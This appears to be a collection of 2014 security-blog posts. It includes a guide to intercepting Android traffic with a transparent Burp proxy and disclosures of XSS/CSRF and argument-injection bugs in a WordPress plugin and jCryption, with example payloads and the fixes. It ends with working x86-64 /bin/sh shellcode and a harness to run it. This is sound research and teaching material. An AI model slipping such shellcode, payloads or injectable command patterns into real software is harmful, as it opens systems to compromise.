Weekly Reading List for 8/2/14

This has been missing for a few weeks, but it’s back!

Why is CSP Failing?

Why is CSP Failing? Trends and Challenges in CSP Adoption. Despite being an “academic” paper, this actually has a lot to offer about why one of the most effective defenses against XSS isn’t yet getting widely implemented, and what the implementation costs and strategies are.

Safari Bites the Dust

Ian Beer of Google Project Zero recently popped Safari and then proceeded to pwn OS X. This post dives into exploiting a WebKit unbounded write bug, and makes it obvious just how many hoops an attacker needs to go through compared to the ‘buffer overflow to overwrite EIP’ bugs of the ‘good old days’. It’s a great read, especially if you’re new to browser/client exploitation.

Blackhat & DEF CON Tips

It’s that time of year again – the annual Las Vegas pilgrimage for hackers. As usual, Chief Monkey over at Toolbox.com has some protips for first time attendees. (Or reminders for seasoned vets!)


Passing Android Traffic through Burp

I wanted to take a look at all HTTP(S) traffic coming from an Android device, even if applications made direct connections without a proxy, so I set up a transparent Burp proxy. I decided to put the Proxy on my Kali VM on my laptop, but didn’t want to run an AP on there, so I needed to get the traffic to there.

Network Setup

Network Topology Diagram

The diagram shows that my wireless lab is on a separate subnet from the rest of my network, including my laptop. The lab network is a NAT run by IPTables on the Virtual Router. While I certainly could’ve ARP poisoned the connection between the Internet Router and the Virtual Router, or even added a static route, I wanted a cleaner solution that would be easier to enable/disable.

Setting up the Redirect

I decided to use IPTables on the virtual router to redirect the traffic to my Kali Laptop. Furthermore, I decided to enable/disable the redirect based on logging in/out via SSH, but I needed to make sure the redirect would get torn down even if there’s not a clean logout: i.e., the VM crashes, the SSH connection gets interrupted, etc. Enter pam_exec. By using the pam_exec module, we can have an arbitrary command run on log in/out, which can setup and reset the IPTables REDIRECT via an SSH tunnel to my Burp Proxy.

In order to get the command executed on any login/logout, I added the following line to /etc/pam.d/common-session:

1
session optional	pam_exec.so log=/var/log/burp.log	/opt/burp.sh

This launches the following script, that checks if its being invoked for the right user, for SSH sessions, and then inserts or deletes the relevant IPTables rules.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

BURP_PORT=8080
BURP_USER=tap
LAN_IF=eth1

set -o nounset

function ipt_command {
	ACTION=$1
	echo iptables -t nat $ACTION PREROUTING -i $LAN_IF -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports $BURP_PORT\;
	echo iptables $ACTION INPUT -i $LAN_IF -p tcp --dport $BURP_PORT -j ACCEPT\;
}

if [ $PAM_USER != $BURP_USER ] ; then
	exit 0
fi

if [ $PAM_TTY != "ssh" ] ; then
	exit 0
fi

if [ $PAM_TYPE == "open_session" ] ; then
	CMD=`ipt_command -I`
elif [ $PAM_TYPE == "close_session" ] ; then
	CMD=`ipt_command -D`
fi

date
echo $CMD

eval $CMD

This redirects all traffic incoming from $LAN_IF destined for ports 80 and 443 to local port 8080. This does have the downside of missing traffic on other ports, but this will get nearly all HTTP(S) traffic.

Of course, since the IPTables REDIRECT target still maintains the same interface as the original incoming connection, we need to allow our SSH Port Forward to bind to all interfaces. Add this line to /etc/ssh/sshd_config and restart SSH:

1
GatewayPorts clientspecified

Setting up Burp and SSH

Burp’s setup is pretty straightforward, but since we’re not configuring a proxy in our client application, we’ll need to use invisible proxying mode. I actually put invisible proxying on a separate port (8081) so I have 8080 setup as a regular proxy. I also use the per-host certificate setting to get the “best” SSL experience.

Burp Setup

It turns out that there’s an issue with OpenJDK 6 and SSL certificates. Apparently it will advertise algorithms not actually available, and then libnss will throw an exception, causing the connection to fail, and the client will retry with SSLv3 without SNI, preventing Burp from creating proper certificates. It can be worked around by disabling NSS in Java. In /etc/java-6-openjdk/security/java.security, comment out the line with security.provider.9=sun.security.pkcs11.SunPKCS11 ${java.home}/lib/security/nss.cfg.

Forwarding the port over to the wifilab server is pretty straightforward. You can either use the -R command-line option, or better, set things up in ~/.ssh/config.

1
2
3
4
Host wifitap
  User tap
  Hostname wifilab
  RemoteForward *:8080 localhost:8081

This logs in as user tap on host wifilab, forwarding local port 8081 to port 8080 on the wifilab machine. The * for a hostname is to ensure it binds to all interfaces (0.0.0.0), not just localhost.

Setting up Android

At this point, you should have a good setup for intercepting traffic from any client of the WiFi lab, but since I started off wanting to intercept Android traffic, let’s optimize for that by installing our certificate. You can install it as a user certificate, but I’d rather do it as a system cert, and my testing tablet is already rooted, so it’s easy enough.

You’ll want to start by exporting the certificate from Burp and saving it to a file, say burp.der.

Android’s system certificate store is in /system/etc/security/cacerts, and expects OpenSSL-hashed naming, like a0b1c2d3.0 for the certificate names. Another complication is that it’s looking for PEM-formatted certificates, and the export from Burp is DER-formatted. We’ll fix all that up in one chain of OpenSSL commands:

1
2
3
(openssl x509 -inform DER -outform PEM -in burp.der;
 openssl x509 -inform DER -in burp.der -text -fingerprint -noout
 ) > /tmp/`openssl x509 -inform DER -in burp.der -subject_hash -noout`.0

Android before ICS (4.0) uses OpenSSL versions below 1.0.0, so you’ll need to use -subject_hash_old if you’re using an older version of Android. Installing is a pretty simple task (replace HASH.0 with the filename produced by the command above):

1
2
3
4
5
6
7
$ adb push HASH.0 /tmp/HASH.0
$ adb shell
android$ su
android# mount -o remount,rw /system
android# cp /tmp/HASH.0 /system/etc/security/cacerts/
android# chmod 644 /system/etc/security/cacerts/HASH.0
android# reboot

Connect your Android device to your WiFi lab, ssh wifitap from your Kali install running Burp, and you should see your HTTP(S) traffic in Burp (excepting apps that use pinned certificates, that’s another matter entirely). You can check your installed certificate from the Android Security Settings.

Good luck with your Android auditing!


CVE-2014-4182 & CVE-2014-4183: XSS & XSRF in Wordpress 'Diagnostic Tool' Plugin

Versions less than 1.0.7 of the Wordpress plugin Diagnostic Tool, contain several vulnerabilities:

  1. Persistent XSS in the Outbound Connections view. An attacker that is able to cause the site to request a URL containing an XSS payload will have this XSS stored in the database, and when an admin visits the Outbound Connections view, the payload will run. This can be trivially seen in example by running a query for http://localhost/<script>alert(/xss/)</script> on that page, then refreshing the page to see the content run, as the view is not updated in real time. This is CVE-2014-4183.

  2. Reflected XSS in DNS resolver test page. When a reverse lookup is performed, the results of gethostbyaddr() are inserted into the DOM unescaped. An attacker who (mis-) configures a DNS server to send an XSS payload as a reverse lookup may be able to either trick the administrator into performing a lookup, or (more likely) use the CSRF vulnerability documented below to trigger the XSS.

  3. AJAX handlers do not have any CSRF protection on them. This allows an attacker to trigger the server into sending test emails (low severity), perform DNS lookups (high severity when combined with the reflected XSS above) and request the loading of pages by the server (including URLs that contain XSS payloads, triggering the persistent XSS documented above). Additionally, the last 2 vulnerabilities could be used to trigger an information leak for Wordpress servers that are behind a DDoS protection service (e.g., Cloudflare) or are being run as TOR anonymous services by forcing the server to request a page from the attacker’s server or perform a DNS query against the attackers DNS server, allowing the attacker to learn the real IP of the server hosting Wordpress. This is CVE-2014-4182.

Timeline:

  • 2014/06/15: Vulnerabilities discovered & reported to developers.
  • 2014/06/30: Developers release Diagnostic Tool 1.0.7, fixing issues.
  • 2014/07/04: Public disclosure.

Parameter Injection in jCryption

jCryption is an open-source plugin for jQuery that is used for performing encryption on the client side that can be decrypted server side. It works by retrieving an RSA key from the server, then encrypting an AES key under the RSA key, and sending both the encrypted AES key and the RSA key to the server. This is not dissimilar to how OpenPGP encrypts data for transmission. (Though, of course, implementation details are vastly different.)

jCryption comes with PHP and perl code demonstrating the decryption server-side, and while not packaged as ready-to-use libraries, it is likely that most users used the sample code for the server-side implementation. While the code used proc_open, which doesn’t allow command injection (it’s not being run through a shell, so shell metacharacters aren’t relevant) still allows an attacker to modify the arguments being passed to the command.

Originally, the code used constructs like:

1
2
#!php
$cmd = sprintf("openssl enc -aes-256-cbc -pass pass:'$key' -a -e");

Because $key can be attacker-controlled, an attacker can close the pass string early, and add additional openssl parameters there. This includes, for example, the ability to read the jCryption RSA private key, allowing an attacker to read any traffic sent with jCryption that they have captured (or capture in the future).

I reported this issue late last night, and Daniel Griesser, the author of jCryption, replied shortly thereafter, confirming he was looking into the matter. By this morning, he had created a fix and pushed a new release out. It speaks very highly of a developer when they’re able to respond so quickly to a security concern.

For the curious, it was fixed by escaping the shell argument using escapeshellarg:

1
2
#!php
$cmd = sprintf("openssl enc -aes-256-cbc -pass pass:" . escapeshellarg($key) . " -a -e");

I’m not releasing a PoC that does the actual crypto steps at this point, I want to make sure sites have had a chance to upgrade.


Minimal x86-64 shellcode for /bin/sh?

I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: \x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05.

This was produced from the following source:

1
2
3
4
5
6
7
8
9
10
11
12
13
BITS 64

main:
  mov rbx, 0xFF978CD091969DD1
  neg rbx
  push rbx
  xor eax, eax
  cdq
  xor esi, esi
  push rsp
  pop rdi
  mov al, 0x3b  ; sys_execve
  syscall

Compile with nasm, examine the output with objdump -M intel -b binary -m i386:x86-64 -D shellcode.

Here’s a program for testing:

1
2
3
4
5
6
7
8
9
10
#include <sys/mman.h>
#include <stdint.h>

char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";

int main(){
  mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) code)();
  return 0;
}

I’d like to find a good tool to compile my shellcode, extract as hex, build a test bin, and run it, all in one. Should be a trivial python script, actually.